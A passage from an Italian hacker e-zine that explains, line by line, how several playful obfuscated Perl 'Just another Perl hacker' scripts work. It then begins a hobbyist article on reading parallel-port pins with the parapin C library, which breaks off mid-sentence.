| $_=' |
| |
| eval("
seek DATA,0,0;"); # L'istruzione seek con questi parametri |
| # manipola in modo originale il |
| # filehandle DATA. |
| # Visto che quest'ultimo è un filehandle |
| # che punta al sorgente dello script alla |
| # posizione della parola __DATA__, |
| # settando questa posizione allo 0 |
| # ottengo un handle all'intero codice |
| # sorgente. |
| |
| foreach(1..3) { <DATA>; } # Butta via le prime tre righe dello |
| # script. |
| |
| my @camel1hump; |
| my $camel; |
| my $Camel; |
| |
| while(<DATA>){ |
| |
| $_=sprintf("
%-69s",$_); # Aggiunge degli spazi vuoti al termine |
| # di ogni riga in modo che siano tutte |
| # della stessa lunghezza e si possa poi |
| # ottenere l'effetto simmetria. |
| |
| # PS: provate a settare un valore basso |
| # al posto di 69 :-) |
| |
| my @dromedary1=split(//); # Ogni carattere della riga letta viene |
| # associato a un elemento dell'array. |
| |
| if(defined($_=<DATA>)){ |
| |
| @camel1hump=split(//); # Stessa cosa per la riga immediatamente |
| # successiva. |
| |
| } |
| |
| while(@dromedary1){ # Finchè esistono elementi in @dromedary1 |
| # viene ripetuto il ciclo (vengono sottratti a |
| # coppie di 2 dagli shift() sottostanti). |
| |
| my $camel1hump=0; |
| my $CAMEL=3; |
| |
| if(defined($_=shift(@dromedary1)) && /\S/ ){ # Questa e le |
| # condizioni successive sono |
| # verificate se il carattere |
| # esiste e non è uno spazio |
| |
| $camel1hump+=1<<$CAMEL; # $camel1hump += 8; |
| |
| # Per chi non lo ricordasse, |
| # l'operatore <<, detto molto terra |
| # terra, aggiunge degli zeri alla |
| # destra del numero, portato però in |
| # versione binaria. |
| |
| # Esempio: 2 == 0b10; |
| # 2<<2 == 0b1000 == 8; |
| # (aggiunti 2 zeri a 0b10) |
| } |
| |
| $CAMEL--; |
| |
| if(defined($_=shift(@dromedary1)) && /\S/ ){ |
| |
| $camel1hump+=1<<$CAMEL; # $camel1hump += 4; |
| |
| } |
| |
| $CAMEL--; |
| |
| if(defined($_=shift(@camel1hump)) && /\S/ ){ |
| |
| $camel1hump+=1<<$CAMEL; # $camel1hump += 2; |
| |
| } |
| |
| $CAMEL--; |
| |
| if(defined($_=shift(@camel1hump)) && /\S/ ){ |
| |
| $camel1hump+=1<<$CAMEL; # $camel1hump += 1; |
| |
| } |
| |
| $camel.=(split(//,"
..m`{/J\047\134}L"7FX"))[
$camel1hump]; |
| |
| # A seconda dei caratteri nei "blocchi" estratti e del |
| # conseguente risultato finale di $camel1hump, viene aggiunto a |
| # $camel, che verrà poi stampato, un determinato carattere (vedi |
| # legenda sopracitata). |
| |
| # \047 e \134 vengono interpolati ed equivalgono a "'" e a "\" . |
| |
| } |
| |
| $camel.="\n"; |
| |
| foreach $_ (@camel1hump) { |
| |
| chomp $_; |
| $Camel = $_; |
| |
| y/LJF7\173\175`\047/12345678/; # Distrattore: trasforma |
| # determinati caratteri in numeri, |
| y/12345678/JL7F\175\173\047`/; # poi li riporta come |
| # prima. :-PP |
| |
| $_ = reverse $_; |
| |
| print "$_ $Camel\n"; # Stampa la stringa in modo |
| # simmetrico. |
| |
| } |
| |
| foreach $_ (@camel1hump) { |
| |
| chomp $_; |
| $Camel = $_; |
| |
| y/LJF7\173\175`\047/12345678/; # Vedi commento di prima. |
| y/12345678/JL7F\175\173\047`/; |
| |
| $_ = reverse $_; |
| print " $_$Camel\n"; # Come prima, in maniera |
| # rovesciata. |
| |
| } |
| |
| '; # Qui termina la stringa assegnata a $_ |
| |
| s/\s*//g; # Cancella tutti gli spazi in $_ |
| |
| eval; # Tramuta in codice Perl la stringa $_, e lo esegue |
| |
| |
| |
| Il codice è stato inserito nella variabile $_ e poi eseguito con |
| eval() perchè nella forma "cammelloidale" quelle istruzioni |
| avrebbero generato errori. In questo modo, invece, si riesce a |
| preservare il disegnino e poi ad eseguire il codice, privandolo |
| prima degli spazi di troppo. |
| |
| Noterete dei caratteri ottali nel codice originale: sono stati messi |
| sia per completare il disegno, sia per mettere un po' di confusione |
| :) |
| |
| A completare degnamente, una ulteriore rielaborazione del disegno. |
| Ecco il codice: |
| |
| |
| eval("seek\040DATA,0,0;"); # Come prima, puntatore all'inizio del |
| # sorgente. |
| |
| undef $/; # Vedi script precedenti. |
| |
| $_ = <DATA>; # $_ contiene tutto il disegno |
| |
| s/\s*//g; # elimina gli spazi vuoti |
| |
| ( ); # Però... lista vuota in contesto |
| # vuoto... carino :) |
| |
| s/".*_//; # Cancella tutto fino a __DATA__ compreso. |
| |
| |
| # Ora $_ contiene il seguente ammasso di cifre ottali: |
| |
| #\124\150\145\040\165\163\145\040\157\146\040\141\040\143\141\155\145 |
| #\154\040\151\155\141\147\145\040\151\156\040\141\163\163\157\143\151 |
| #\141\164\151\157\156\040\167\151\164\150\040\120\145\162\154\040\151 |
| #\163\040\141\040\164\162\141\144\145\155\141\162\153\040\157\146\040 |
| #\117\047\122\145\151\154\154\171\040\046\012\101\163\163\157\143\151 |
| #\141\164\145\163\054\040\111\156\143\056\040\125\163\145\144\040\167 |
| #\151\164\150\040\160\145\162\155\151\163\163\151\157\156\056 |
| |
| map { eval ("
print\"$_\""); } $_ =~ /.{4}/g; # La regex passa a |
| # map() ogni corrispondenza, |
| # ossia un numero ottale. Poi |
| # questo viene interpolato da |
| # eval() e stampato |
| |
| # Per convertire un ottale in carattere: printf "
%c\n",\0101; |
| |
| |
| |
| Bel modo di citare i diritti d'autore :-) |
| |
| Ora, direttamente dall'Obfuscated Perl Contest, una chicca per i |
| mistificatori di codice: |
| |
| (dove vedete i ritorni a capo vuol dire che il codice non entrava |
| bene negli angusti limiti di questa rivista :) immaginate tutto con |
| un orrido rettangolone di segnacci) |
| |
| /;{}def/#{def}def/$_={/Times-Bold exch |
| selectfont}#/_{rmoveto}#/"
{dup}#/*/!/$ |
| ;/q{exch}#/x ; {/J q #}#/.{/T q #}#{stringwidth}#{}#{}# 14 string |
| dup dup dup |
| 260 40 moveto 90 rotate ; %/}};$0='"\e[7m |
| \e[0m"
';@ARGV=split//,reverse |
| q(ThePerl). q(Journal) x 220 ; q ; 0 T putinterval exch 7 J |
| putinterval ; |
| ; $_= q /m$ pop T($*!$"=!$ " )pop " * true% ? $ " $!" " !! !! % |
| !" !" ! |
| ! charpath {!"""}pop $ pop{""!}pop ! neg{!#}pop 220 ! neg _{!!}pop J |
| false %T |
| charpath clip "
pop 0 " moveto 6{!!}pop $_= 105{!!}pop {$ ! $ " ! |
| #! ##} |
| pop{dup dup $ ! " pop pop q{"}pop 22{dup show}repeat {"}pop q 22 |
| mul{$ "
} pop |
| neg{!#! $ "}pop ! 8 .65 mul{$ # # $}pop ! neg{"}pop _ pop{"}pop } |
| repeat pop |
| "
{ $ " ! ! ! $ " ! !" "#" #"!"""""! #" " # |
| "
m/;@ARGV=(@ARGV[-14..-1])x50;q} |
| 0 |
| "%};s/m[ou]|[-\dA-ln-z.\n_{}]|\$_=//gx;s/(.)(?{$*=''})/('$*.='.(++$# |
| %2?'':"
$0;").'pop;')x(ord($1)-31).'$*'/gee;s/((.(\e\[.m)*|.){77})/$1 |
| \n/g;print |
| ; sub showpage {} |
| |
| |
| |
| Un fatto a posta per rincitrullire gli analizzatori di codice... se |
| volete, provate a ordinare da soli il codice, altrimenti date una |
| sbirciata qua sotto. |
| |
| |
| |
| $0 = '"
\e[7m \e[0m"'; |
| |
| @ARGV = split //, reverse q(ThePerlJournal) x 220; |
| |
| $_ = q /m$ pop T($*!$"
=!$ " )pop " * true% ? $ " $!" " !! !! % !" |
| !" ! |
| ! charpath {!"""
}pop $ pop{""!}pop ! neg{!#}pop 220 ! neg _{!!}pop J |
| false %T |
| charpath clip " pop 0 " moveto 6{!!}pop $_= 105{!!}pop {$ ! $ " ! |
| #! ##} |
| pop{dup dup $ ! "
pop pop q{"}pop 22{dup show}repeat {"}pop q 22 |
| mul{$ "} pop |
| neg{!#! $ "
}pop ! 8 .65 mul{$ # # $}pop ! neg{"}pop _ pop{"}pop } |
| repeat pop |
| " { $ " ! ! ! $ " ! !" "#" #"!"""""! #" " # "m/; |
| |
| @ARGV = ( @ARGV[ -14 .. -1 ] ) x 50; |
| |
| s/m[ou]|[-\dA-ln-z.\n_{}]|\$_=//gx; |
| |
| s/(.)(?{$*=''})/('$*.='.(++$#%2?'':"
$0;").'pop;')x(ord($1)-31).'$*'/gee; |
| |
| s/((.(\e\[.m)*|.){77})/$1\n/g; |
| |
| print; |
| |
| |
| Questo è il codice che produce qualche risultato, il resto |
| specchietti per le allodole (funzioni e blocchi che ritornano valori |
| in contesti vuoti, o regex che trattano la $_ ancora vuota). |
| |
| C'è comunque da lavorarci per capire qualcosa! Con l'istruzione |
| |
| $0 = '"
\e[7m \e[0m"'; |
| |
| la variabile conterrà uno spazio vuoto dello stesso colore del |
| testo, formando un rettangolo colorato, che formerà la parte finale |
| dell'output. |
| |
| Poi @ARGV; niente di che, contiene un array fatto dalle lettere, |
| ordinate al contrario, di "
ThePerlJournal"; il tutto ripetuto |
| (inutilmente) 220 volte. |
| |
| Dopo, l'istruzione |
| |
| @ARGV = ( @ARGV[ -14 .. -1 ] ) x 50; |
| |
| prende i suoi 14 ultimi elementi (ossia la frase iniziale al |
| contrario) e sovrascrive il vecchio array con questa lista ripetuta |
| 50 volte. E finora nulla di eccezionale. |
| |
| Poi, la dichiarazione di $_ : come faremo a cavarci qualcosa di |
| buono da questo sgorbio? :-P |
| |
| Comunque, dopo l'istruzione |
| |
| s/m[ou]|[-\dA-ln-z.\n_{}]|\$_=//gx; |
| |
| che cancella qualche cosetta, le cose sembrano migliorare |
| |
| m$ ($*!$"
=!$ " ) " * % ? $ " $!" " !! !! % !" !" !! !""" $ |
| ""! ! !# ! ! |
| ! % " " !! !! $ ! $ " ! #! ## $ ! " " " $ " !#! $ " |
| ! $ # # $ |
| ! " " " $ " ! ! ! $ " ! !" "#" #"!"""""! #" " # "m |
| |
| ma tutto è chiaro dopo la seguente regex: |
| |
| s/(.)(?{$*=''})/('$*.='.(++$#%2?'':"
$0;").'pop;')x(ord($1)-31).'$*'/gee; |
| |
| Come dite? Non si capisce un fico secco? Forse è meglio chiarire il |
| concetto che sta alla base di questo script. |
| |
| s/ |
| (.)(?{$*=''}) |
| / |
| ( |
| |
| '$*.= ' . |
| |
| ( ++$# % 2 ? '' : "
$0;" ) . |
| |
| 'pop;' |
| |
| ) x (ord($1)-31) . '$*' |
| |
| /geex; |
| |
| |
| ( Per una eventuale rinfrescatina di memoria: man perlre ) |
| |
| |
| Così va un po' meglio. Ora, questa espressione compie una |
| sostituzione per ogni carattere contenuto in $_; inoltre, il blocco |
| (?{$*=''}) , che non influenza in nessun modo il pattern da |
| cercare, cancella il contenuto della variabile $* prima di lasciar |
| compiere una sostituzione sul carattere successivo trovato (la |
| regex termina per /g). Ora, grazie alla stringa "
ee" presente alla |
| fine del l'operatore s///, l'ultima parte della regex viene |
| considerata come un blocco prima da elaborare (come se fosse passato |
| alla eval() ), e poi da interpolare prima di sostituire. |
| |
| Il blocco fa sì che, alternativamente, vengano stampati caratteri da |
| @ARGV (con l'istruzione "
pop;") o quei rettangoli contenuti in $0. |
| Esaminando con attenzione il codice, sarà chiaro come l'interprete |
| riesce a capire quando stampare la scritta normale e quando il |
| rettangolo colorato fino a formare "
The Perl Journal". |
| |
| La prima volta che la regex trova un carattere da sostituire (il |
| primo, "
m"), "++$# % 2" restituisce 1 (ricordo che sempre bene non |
| lasciarsi depistare dal l'eventuale valore particolare dato di |
| default alle variabili: in questo caso $# è undef e ++$# è uguale a |
| 1). Per cui |
| |
| ('$*.='.(++$#%2?'':"
$0;").'pop;') |
| |
| restituirà la stringa |
| |
| '$*.=pop;' |
| |
| dopodichè essa verrà ripetuta (ord($1)-31) volte. Per cui si capisce |
| come gli sgorbi di $_ siano stati scelti appositamente per |
| restituire un determinato codice ASCII e far ripetere l'operazione |
| un determinato numero di volte. Alla fine avremo: |
| |
| $*.=pop;$*.=pop;$*.=pop;$*.=pop;$*.=pop;$*.=pop; # fino a 78 volte |
| |
| Alla fine di questa trafila, vi è la semplice stringa "
$*;", che |
| indica, al momento della fase di interpolazione del carattere da |
| sostituire, di utilizzare la stringa ottenuta dai 78 elementi |
| pop()ati da @ARGV. |
| |
| Dopodichè, si passa al secondo carattere di $_; stavolta "
++$# % 2" |
| restituirà 0, e avremo una trafila differente: |
| |
| $*.="
$0";pop;$*.="$0";pop;$*.="$0";pop; # fino a 5 volte |
| |
| Alla fine, la variabile $* che sarà sostituita al carattere di $_ |
| sarà pari a 5 rettangoli consecutivi. |
| |
| Arrivati al terzo carattere di $_, viene ripetuta la sostituzione |
| iniziale, ossia con le lettere in @ARGV. I precedenti pop() hanno |
| fatto in modo che siano stati cancellati elementi tali da dare |
| l'effetto di "
sovrapposizione" nel testo stampato alla fine. |
| |
| Infine: |
| |
| s/((.(\e\[.m)*|.){77})/$1\n/g; |
| |
| in tal modo viene inserito in $_ un \n ogni 77 caratteri (il pattern |
| è fatto in modo da considerare "
\e[7m \e[0m", ossia il rettangolino, |
| come un carattere). |
| Alla fine per il risultato è valsa la pena :-] |
| |
| |
| |
| Ora una cosa molto simpatica... non potevo non pubblicarla :) |
| |
| |
| #Abigail |
| $; # A lone dollar? |
| =$"
; # Pod? |
| $; # The return of the lone dollar? |
| {Just=>another=>Perl=>Hacker=>} # Bare block? |
| =$/; # More pod? |
| print%; # No right operand for %? |
| |
| |
| A domanda, risposta: |
| |
| |
| $; # No, tutto (quasi) quello fra lo $ e lo |
| # = è un nome di variabile |
| |
| =$"; # No, operatore d'assegnamento per $; |
| |
| $; # No, ora si tratta dell'hash %; |
| |
| {Just=>another=>Perl=>Hacker=>} # No, serie di chiavi riferita a %; |
| |
| =$/; # No, assegna \n all'ultima chiave |
| |
| print%; # No, nell'ultima istruzione può |
| # essere omesso il ; , per cui |
| # stampa l'hash %; |
| |
| |
| |
| Scusate, ma quando ci vuole, ci vuole :) |
| |
| Tornando alle cose serie, ecco un altro programma interessante, di |
| Abigail: |
| |
| |
| @_=map{[$!++=>$_"
$/]}split$¾=>"\@\x7Fy~*kde~box*Zoxf*Bkiaox";$\="\r"; |
| $|=++$*;do{($#=>$=)=(rand@_=>rand@_);@_[$#,$=]=@_[$=,$#]}for($*..@_); |
| for$:($|..@_-$|){for($|..@_-$:){@_[$_-$|,$_]=@_[$_=>$_-$*]if$_[$_][$º |
| ]<$_[$_-$*][$Æ];print+map{$_->[$|]}@_;select$?,$?,$?,"$[.$|"}}print$/ |
| |
| |
| Ancora una volta il risultato supera le nostre aspettative |
| (daltronde, cosa c'è d'aspettarsi da un blocco informe di caratteri |
| ? :-) ) ... |
| |
| Ecco la matassa parzialmente sbrogliata: |
| |
| |
| #!/usr/bin/perl |
| |
| @_ = map {[ $!++ , $_"$/]} split $¾=>"\@\x7Fy~*kde~box*Zoxf*Bkiaox"; |
| |
| $\ = "
\r"; |
| |
| $| = ++$*; |
| |
| |
| do { |
| |
| ($#, $=) = (rand @_, rand @_); |
| |
| @_[$#,$=] = @_[$=,$#] |
| |
| } for ($* .. @_); |
| |
| |
| for $: ($| .. @_ - $|) { |
| for ($| .. @_ - $:) { |
| |
| if ( $_[$_][$º] < $_[$_-$*][$Æ] ) { |
| |
| |
| @_[$_-$|, $_] = @_[$_ , $_-$*]; |
| |
| |
| } |
| |
| print map { $_->[$|] } @_; |
| |
| select $~E, $~C, $~G, "
$[.$|"; |
| |
| } |
| } |
| |
| print $/; # Stampa "
\n" |
| |
| |
| |
| Ancora una volta non mancano delle offuscazioni... "
=>" usati a |
| sproposito al posto delle "
," (sono però equivalenti :-P), nomi |
| strani di variabili (tutte quelle col nome tipo "
" sono da |
| considerarsi equivalenti eleganti della stringa vuota :) ), ma con |
| una buona indentazione non ci saranno molte difficoltà. |
| |
| |
| @_ = map {[ $!++ , $_"
$/]} split =>"\@\x7Fy~*kde~box*Zoxf*Bkiaox"; |
| |
| Questa istruzione crea un array bidimensionale @_, in cui ogni |
| elemento contiene a sua volta uno dei 125 messaggi di errore |
| dell'interprete (ottenuti con successive iterazioni di $!++), e il |
| risultato dello XOR fra uno dei caratteri della scritta strana e il |
| ritorno a capo. Guarda caso, le lettere risultanti dallo XOR formano |
| una frase familiare.. |
| |
| |
| |
| $i | $_[$i][0] | $_[$i][0] |
| --------+-------------------------------------------+------------- |
| 0 | | J |
| 1 | Operazione non permessa | u |
| 2 | File o directory inesistente | s |
| 3 | Processo inesistente | t |
| 4 | Chiamata di sistema interrotta | |
| 5 | Errore di input/output | a |
| 6 | Dispositivo o indirizzo inesistente | n |
| 7 | Lista degli argomenti troppo lunga | o |
| 8 | Errore di formato di exec | t |
| 9 | Descrittore di file non valido | h |
| 10 | Non ci sono processi figli | e |
| 11 | Risorsa temporaneamente non disponibile | r |
| 12 | Impossibile allocare memoria | |
| 13 | Permesso negato | P |
| 14 | Indirizzo non valido | e |
| 15 | È necessario un dispositivo a blocchi | r |
| 16 | Dispositivo o risorsa occupata | l |
| 17 | Il file esiste | |
| 18 | Link tra dispositivi non valido | H |
| 19 | Dispositivo inesistente | a |
| 20 | Non è una directory | c |
| 21 | È una directory | k |
| 22 | Argomento non valido | e |
| 23 | Troppi file aperti nel sistema | r |
| |
| |
| Emh forse è una tabella piuttosto inutile, ma fa pensare al |
| tentativo di offuscazione che tenta l'autore :) |
| |
| Infatti vedremo che le stringhe di errore non verranno usate, mentre |
| le lettere della frase sì. Ma andiamo con ordine. |
| |
| $\ = "\r"; |
| |
| La variabile $\, ricordo, è il separatore di linea dell'output, |
| ossia quello che viene stampato dopo qualsiasi istruzione print(). |
| Con il carattere "\r", "carriage return", l'ultima linea stampata |
| viene cancellata e ogni print() scriverà al posto di quest'ultima: |
| settando $\ a tale valore avviene una continua "sovrapposizione" di |
| scritte, a formare l'effetto di animazione finale. |
| |
| Provando a settare questa variabile con "\n" le cose saranno ancora |
| più chiare.. |
| |
| $| = ++$*; |
|

  
|
| La variabile $*, che in questo caso non è considerata per il suo |
| valore speciale, viene settata ad 1 e $| acquista il suo valore. |
| Come ogni Perl programmer sà, quando questa variabile viene settata |
| il buffering viene disabilitato, in modo che ogni operazione di |
| scrittura venga effettuata immediatamente. |
| |
| do { |
| |
| ($#, $=) = (rand @_, rand @_); |
| |
| @_[$#,$=] = @_[$=,$#] |
| |
| } for ($* .. @_); # Da 1 a 23 |
| |
| Per un numero di volte pari alla grandezza dell'array, due elementi |
| di @_ a caso vengono invertiti fra di loro in modo da mischiare le |
| lettere della frase. |
| |
| Ora viene il bello: |
| |
| |
| for $: ($| .. @_ - $|) { # 1 .. 22 |
| for $_ ($| .. @_ - $:) { # 1 .. ( 22 .. 1 ) |
| |
| |
| if ( $_[$_] < $_[$_-$*] ) { # Ho sostituito $_[$_][$º] e |
| # $_[$_-$*][$Æ] con $_[$_] e |
| # $_[$_-$*], tanto il dato |
| # restituito è lo stesso (la |
| # reference che punta ad un |
| # sub-array). |
| |
| @_[$_-$|, $_] = @_[$_ , $_-$*]; |
| |
| |
| } |
| |
| print map { $_->[$|] } @_; |
| |
| select $~E, $~C, $~G, "$[.$|"; |
| |
| } |
| } |
| |
| |
| Si tratta evidentemente di due cicli annidati. Il primo ciclo fa in |
| modo che il secondo ciclo parta da un determinato carattere di @_ |
| (quindi parte da uno e arriva quasi alla fine). Il secondo ciclo |
| esegue delle istruzioni tra il carattere indicato dal ciclo |
| precedente e l'ultimo carattere di @_. |
| Per capire il perchè di questo basta esaminare il resto del codice: |
| |
| if ( $_[$_] < $_[$_-$*] ) { |
| |
| @_[$_ - $|, $_] = @_[$_ , $_-$*]; |
| |
| } |
| |
| Prima, però, un piccolo passo indietro. Al momento della creazione |
| di @_, viene aggiunto per ogni iterazione di map() un elemento che |
| viene a costituire parte di un array bidimensionale. Poichè in Perl |
| questo tipo di array non è altro che un array contenente una serie |
| di references ad altri array, anonimi, dando l'illusione della |
| bidimensionalità, un istruzione del tipo $_[1] restituirà un dato di |
| tipo reference, contenente la struttura a cui punta (ARRAY) e un |
| numero esadecimale (es. 0x81070b8). Poichè man mano che @_ viene |
| popolato di references il valore esadecimale associato alla |
| reference cambia, otteniamo qualcosa di simile: |
| |
| $i | $_[$i][1] | $_[$i] |
| ------+-------------+------------------- |
| 1 | J | ARRAY(0x81070b8) |
| 2 | u | ARRAY(0x81070e8) |
| 3 | s | ARRAY(0x8107118) |
| 4 | t | ARRAY(0x8107148) |
| 5 | | ARRAY(0x8107178) |
| 6 | a | ARRAY(0x81071a8) |
| 7 | n | ARRAY(0x81071d8) |
| 8 | o | ARRAY(0x8107208) |
| 9 | t | ARRAY(0x8107238) |
| 10 | h | ARRAY(0x8107268) |
| 11 | e | ARRAY(0x8107298) |
| 12 | r | ARRAY(0x81072c8) |
| 13 | | ARRAY(0x81072f8) |
| 14 | P | ARRAY(0x8107328) |
| 15 | e | ARRAY(0x8107358) |
| 16 | r | ARRAY(0x8123bcc) |
| 17 | l | ARRAY(0x8123bfc) |
| 18 | | ARRAY(0x8123c2c) |
| 19 | H | ARRAY(0x8123c5c) |
| 20 | a | ARRAY(0x8123c8c) |
| 21 | c | ARRAY(0x8123cbc) |
| 22 | k | ARRAY(0x8123cec) |
| 23 | e | ARRAY(0x8123d1c) |
| 24 | r | ARRAY(0x8123d4c) |
| |
| |
| Si può notare che i valori esadecimali sono via via crescenti. In |
| questo modo, pur mischiando le lettere della frase, essi sono utili |
| per ricomporre l'ordine iniziale. |
| |
| Così, al momento dell' if() , se il carattere indicato da $_, |
| considerando la frase "Just another perl Hacker", viene dopo il |
| carattere alla sua sinistra, questi due caratteri vengono invertiti. |
| Altrimenti, @_ rimane invariato. Dopo, l'array viene subito stampato |
| sovrascrivendo il testo precedente (vedi \r) |
| |
| print map { $_->[$|] } @_; # $| == 1 |
| |
| Eppoi viene effettuata una piccola pausa, tramite l'uso "improprio" |
| della chiamata di sistema select(2): |
| |
| select '', '', '', "$[.$|"; # $~E == $~C == $~G == undef; |
| # "$[.$|" è un numero casuale fra |
| # 0 e 0.23 |
| |
| Questa istruzione ritorna un valore dopo un numero casuale di |
| millisecondi, fungendo come una funzione sleep(). |
| |
| Esaminiamo il meccanismo di sostituzione dei caratteri: |
| |
| |
| l ae PtanrheuckrsJHetor # comincia facendo "spostare" lo " " al |
| # posto di "l" |
| la e PtanrheuckrsJHetor # ha invertito " " con "a" |
| lae PtanrheuckrsJHetor # stavolta " " <-> "e" |
| lae PtanrheuckrsJHetor # scambia i due spazi vuoti |
| lae P tanrheuckrsJHetor # " " <-> "t" |
| lae Pt anrheuckrsJHetor # ATTENZIONE: la "a" viene, nell'ordine, |
| # dopo lo " " |
| lae Pt anrheuckrsJHetor |
| lae Pt narheuckrsJHetor # Inverte la "a" con la "n" |
| lae Pt narheuckrsJHetor # ATTENZIONE: la "r" di "Hacker" va dopo |
| # la "a" |
| lae Pt nahreuckrsJHetor # Ora la "r" è quella a essere spostata |
| lae Pt naheruckrsJHetor |
| lae Pt naheurckrsJHetor |
| lae Pt naheucrkrsJHetor |
| lae Pt naheuckrrsJHetor |
| lae Pt naheuckrrsJHetor |
| lae Pt naheuckrsrJHetor |
| lae Pt naheuckrsJrHetor |
| lae Pt naheuckrsJHretor |
| lae Pt naheuckrsJHertor |
| lae Pt naheuckrsJHetror |
| lae Pt naheuckrsJHetorr |
| lae Pt naheuckrsJHetorr |
| lae Pt naheuckrsJHetor r # poichè la "r" è l'ultima, arriva fino |
| # alla fine |
| ale Pt naheuckrsJHetor r # ricomincia partendo con la "l" |
| |
| |
| Tutto questo ripetuto per ogni carattere: si parte dal primo |
| carattere, sostituendolo man mano col successivo se questo non viene |
| dopo nella successione "Just another perl Hacker", altrimenti si |
| sposta quel carattere, finchè non viene spostato un carattere fino |
| alla sua posizione originaria. Questo per ogni carattere, quindi |
| finchè non è raggiunto l'ordine giusto :-P |
| |
| Spero di essere riuscito a rendere il meccanismo dello script! Da |
| tutto questo si capisce che le stringhe di errore inserite in @_ non |
| erano inutili ma servivano affinchè questo array fosse |
| bidimensionale e fosse possibile poi metterlo in ordine tramite i |
| valori esadecimali. Davvero ingegnoso! :) |
| |
| |
| Un'ultimo script, anche esso originale: |
| |
| #John Porter <jdporter@min.net> |
| eval { 62->lZRopcwjoXyup_yuGpXcxbyu() }; |
| $@ =~ s/"(.*?)"/"ss"/; |
| print((split//,$@)[map{ord($_)-62}split//,$1],",\n"); |
| |
| |
| Il suo meccanismo è molto semplice ma interessante dal punto di |
| vista dell'offuscazione: la eval() iniziale |
| |
| eval { 62->lZRopcwjoXyup_yuGpXcxbyu() }; |
| |
| chiama un metodo inesistente da un oggetto inesistente, senza |
| apparentemente generare errore... è a questo che serve eval(), no? |
| (<flame> altro che java! :) </flame>) |
| |
| Quello che ci interessa però è il contenuto di $@ |
| |
| |
| Can't call method "lZRopcwjoXyup_yuGpXcxbyu" without a package or |
| object reference at ./4.pl line 3. |
| |
| |
| ossia l'errore catturato dalla "eccezione". Dopo, questo viene |
| modificando cambiando il testo tra le virgolette in questo modo |
| |
| |
| Can't call method "ss" without a package or object reference at |
| ./4.pl line 3. |
| |
| |
| E infine fu |
| |
| |
| print ( (split//,$@)[map {ord($_)-62} split//,$1], ",\n" ); |
| |
| |
| Con questa il contenuto di $1, ossia "lZRopcwjoXyup_yuGpXcxbyu", |
| viene splittato e passato a map(), la quale restituisce i codici |
| ASCII di questi caratteri dopo avergli sottratto 62. Intanto, la |
| variabile $@ è stata divisa in un array di caratteri, di cui vengono |
| stampati gli elementi con indice uguale ai valori restituiti da |
| map(). Ancora una volta, ne caviamo "just another perl hacker,". |
| |
| |
| THE END ? |
| |
| |
| Questi erano soltanto alcuni dei tantissimi script presenti in |
| rete... se avete ancora appetito, vi suggerisco di dare uno sguardo |
| al sito che vi ho indicato prima, oppure visitare il sito dei Perl |
| Monks. |
| |
| Inoltre, c'è un altro script, tra i miei preferiti, di cui non ho |
| parlato. Questo perchè esiste una spiegazione scritta dallo stesso |
| autore, M.J.Dominus (miticuzzo! :-) ). Il tutto è reperibile presso |
| |
| http://perl.plover.com/obfuscated |
| |
| ce n'è una copia anche sul mio sito. |
| |
| Inoltre, vi lascio una piccola chicca, la mia firma. In confronto |
| dei precedenti è un JAPH meno offuscato ma comunque divertente :-) |
| |
| |
| @a=qw/i p s hax t xlpx u e t o q hx e u l ae f o rrr a k t cn j |
| /;unshift@a,[@ |
| a];chop($b=$b=~/".{0,$_}/&&$&.(chop$b).$')for 0..length |
| ($b=join$b,a..x);$b=~/ |
| $&/x,$c=$-[0]||$c||length$b,$_.=chop$a[$c],/.$/while$#a>=length;s/$&/ |
| /g,print |
| |
| (ancora una volta, gli angusti margini della vita hanno sgretolato la |
| perfezione rettangolare di questo script :-P ) |
| |
| A voi! Vince un bacio in fronte chi mi scrive per primo la soluzione |
| :* |
| |
| |
| |
| |
| Perl hacks explained - 12/04/2002 |
| |
| |
| di Roberto Natella "Domine" |
| |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| IRC: Domine @ IRCNet, AzzurraNet |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ MiSC #07 - 01/08/2002 |
| AGGiUNGiAM0 iL TAST0 MUSiC [lesion] 0x10/0x19 |
+--------------------------------------------------------------------------+
| praticamente ieri dovevo vedere come prendere in input un segnale |
| dalla parallela, perke' mi serve x il progetto della serra, allora |
| riprendo le vekkie parapin ke inb nn ha nemmeno l'help e inizio a |
| smanettare. le parapin sono delle librerie x gestire a basso livello |
| l'i/o della porta parallela. il primo programma ke ne esce, prende |
| spudoratamente codice dall'esempio |
| fornito con le parapin e nn fa' altro ke leggere lo stato delle porte: |
| |
| #include <parapin.h> |
| #include <stdio.h> |
| |
| int main() |
| { |
| int i; |
| pin_init_user(LPT1); |
| pin_input_mode(LP_PIN01,LP_DATA_PINS,LP_PIN17); |
| |
| while(1) |
| { |
| for (i=1;i<=17;i++) |
| printf(pin_is_set(LP_PIN[i])?"1":"0"); |
| printf("\n"); |
| usleep(10000); |
| } |
| } |
| |
| |
| la prima funzione, inizializza il tutto, ovvero dice a linux ke |
| vogliamo fare operazioni con la parallela. LPT1 indica l'indirizzo a |
| cui comunemente viene indirizzata la parallela (0x378). pin_input_mode |
| gli dice invece ke deve stare pronto, ke tutti i pin ke gli abbiamo |
| specificato come argomento li uso come input. LP_DATA_PINS indica |
| tutti i pin da 2 a 9, poi abbiamo il primo, il 17 e gli altri, 10, 11, |
| 12, 13 e 15 ke sono sempre in input, quindi nn dobbiamo |
| settarli. |
| ora salviamo come prova.c e compiliamo con: |
| cc prova.c -lparapin |
| ora avviamo il programma (da root altrimenti esce con un segv ke nn |
| abbiamo nemmeno fatto il controllo), e iniziamo a vedere ke stampa su |
| skermo,strisce di 0 e 1 lunghe 17 cifre. |
| prendiamo un cavo x la parallela a 25 pins, tagliamolo da una parte |
| (quella ke nn sia attakka al pc) e iniziamo a muovere con la mano i |
| fili (dopo averli spellati). se e' andato tutto ok dovreste vedere |
| delle cifre cambiare sullo skermo, altrimenti dovrete smanettare con i |
| settaggi della parallela dal bios o da qualke altra parte. |
| le cifre cambiano quando la massa viene a contatto con un pin di input, |
| quello ke cambia il suo stato appunto. |
| dopo aver visto questo, la mia mente contorta ha subito pensato al |
| peggio ovviamente (emmika il mio nick e' casuale :P), e voltando gli |
| okki verso il basso, noto un case di un 486 vuoto, ma con un cosillo |
| interessante: il tasto reset. tanti ragionamenti nel giro di 2 |
| millisecondi x capire ke era quello ke faceva x me. la felicita' |
| prende possesso del mio corpo quando inizio a prendere il tester e a |
| capire quali pin del tasto reset cambiavano stato una volta ke lo |
| premevo. saldatore alla mano collego immediatamente il primo pin di |
| input della parallela ke trovo ad un pin del tastino reset appena |
